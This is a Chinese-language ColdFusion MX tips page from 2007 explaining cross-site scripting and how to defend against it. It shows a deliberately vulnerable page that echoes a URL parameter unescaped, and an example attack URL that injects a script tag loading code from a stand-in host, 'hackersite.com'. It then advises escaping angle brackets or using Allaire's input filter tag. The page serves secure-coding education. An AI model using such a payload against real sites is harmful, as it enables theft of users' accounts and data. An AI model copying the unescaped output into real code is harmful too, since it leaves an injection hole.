Coldfusion MX技巧精華收集之2第3/6頁
更新時間:2007年03月15日 00:00:00 作者:
保護頁面不受跨網(wǎng)站(cross-site)程序攻擊
跨網(wǎng)站程序攻擊是網(wǎng)站管理人員經(jīng)常必須面對的安全性問題之一。像是 ASP,CFML 或者 PHP 這類的應(yīng)用程序服務(wù)器,由于它們與生俱來的動態(tài)功能特性,使得它們特別容易受到這一類的攻擊。很多時候你的程序都會把某些信息從某個頁面?zhèn)魉偷搅硪粋€頁面,將資料儲存到數(shù)據(jù)庫中,或者將窗體或 URL 參數(shù)接收到的變量值顯示在頁面上。雖然能夠在不同頁面之間傳遞資料看起來是一個優(yōu)點,但是如果你不夠小心的話,這項特性也會同時帶來嚴重的安全性問題。舉例來說,請看看下面這個超鏈接以及相對應(yīng)的目標頁面顯示的結(jié)果:
<!--- 下面是你某個頁面中的超鏈接 --->
<A HREF="nextpage.cfm?username=Brian">請按這里</A>
<!--- 下面是 nextpage.cfm 所顯示的內(nèi)容 --->
<CFOUTPUT>
歡迎來到下一頁,#URL.UserName#。
</CFOUTPUT>
看起來夠簡單了吧?上面這個超級鏈接純粹把使用者名稱從一個頁面?zhèn)鬟f到另一個頁面去(nextpage.cfm),如果你不夠小心的話,這正是問題可能發(fā)生的地方??缇W(wǎng)站程序(cross-site scripting)基本上便是欺騙你的 Web 服務(wù)器,讓它在未預(yù)期的的情況下執(zhí)行其它網(wǎng)站上面的程序,JavaScript,Java applet 或者 ActiveX 控件。
如果你觀察上面這個例子的目標頁面的 URL,它看起來會是下面這樣:
http://www.mysite.com/nextpage.cfm?username=Brian
某位不懷好意的使用者可以自己輸入一個 URL,里面包含一個連向另一部服務(wù)器上面的程序的連結(jié),就像下面這樣:
http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js">
當 ColdFusion 在下一個頁面輸出上面的 URL 所傳過來的變量的時候,輸出結(jié)果看起來變成下面這樣:
歡迎來到下一頁,<script src="http://www.hackersite.com/nastyscript.js">。
這個變量會讓你那無辜的頁面在你未預(yù)期的狀況下執(zhí)行對方指定的 JavaScript 程序代碼。利用類似的方式,對方也可以在 URL 里面指定惡意的 ActiveX 控件或者 JavaApplet。當然,在這個例子里面,使用者僅是在瀏覽器上面執(zhí)行他們自己指定的程序而已,但如果這些惡意程序代碼被你自己的程序不小心儲存起來并且之后又輸出到其它使用者的畫面上(例如搗亂者將某些 JavaScript 程序代碼輸入在你的討論區(qū)發(fā)表文章窗體里面,然后你的程序在不知情的狀況下把這些程序代碼當成發(fā)言內(nèi)容的一部份存入數(shù)據(jù)庫中,那么其它使用者觀看到這篇文章的時候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便會在其它使用者的瀏覽器上面執(zhí)行了),這時候那些程序就可能足以將其它使用者的帳號,密碼或者其它敏感資料暗中傳送到某個地方去。這項安全性問題并非 ColdFusion 才會發(fā)生的狀況,任何應(yīng)用程序服務(wù)器,只要它能夠接收從 URL 或者窗體傳送過來的資料并且顯示在使用者畫面上,都有可能受到這類攻擊。
幸運的是,要避免這種狀況發(fā)生并不困難。你要做的工作是過濾來自 URL 或者窗體傳送過來的資料,并且將一些特殊的危險字符,例如 < 或者 >(大于和小于符號),把他們替換成相對應(yīng)的 ASCII 字符碼形式(例如將 < 替換成 <)就可以了。事實上 Allaire 公司提供了一個 CF_InputFilter 自訂卷標,你可以將它用在你的 application.cfm 檔案里面,它可以替你處理相關(guān)的特殊字符過濾工作。如果你需要更完整的關(guān)于這項議題的資料,請參考「Allaire 安全問題布告欄」網(wǎng)站上面的這篇文章(ASB00-05)。
相關(guān)文章
ColdFusionMX 編程指南 基礎(chǔ)管理操作以及入門程
ColdFusionMX 編程指南 基礎(chǔ)管理操作以及入門程...2007-03-03ColdFusionMX 編程指南 ColdFusionMX Basic Tag編程
ColdFusionMX 編程指南 ColdFusionMX Basic Tag編程...2007-03-03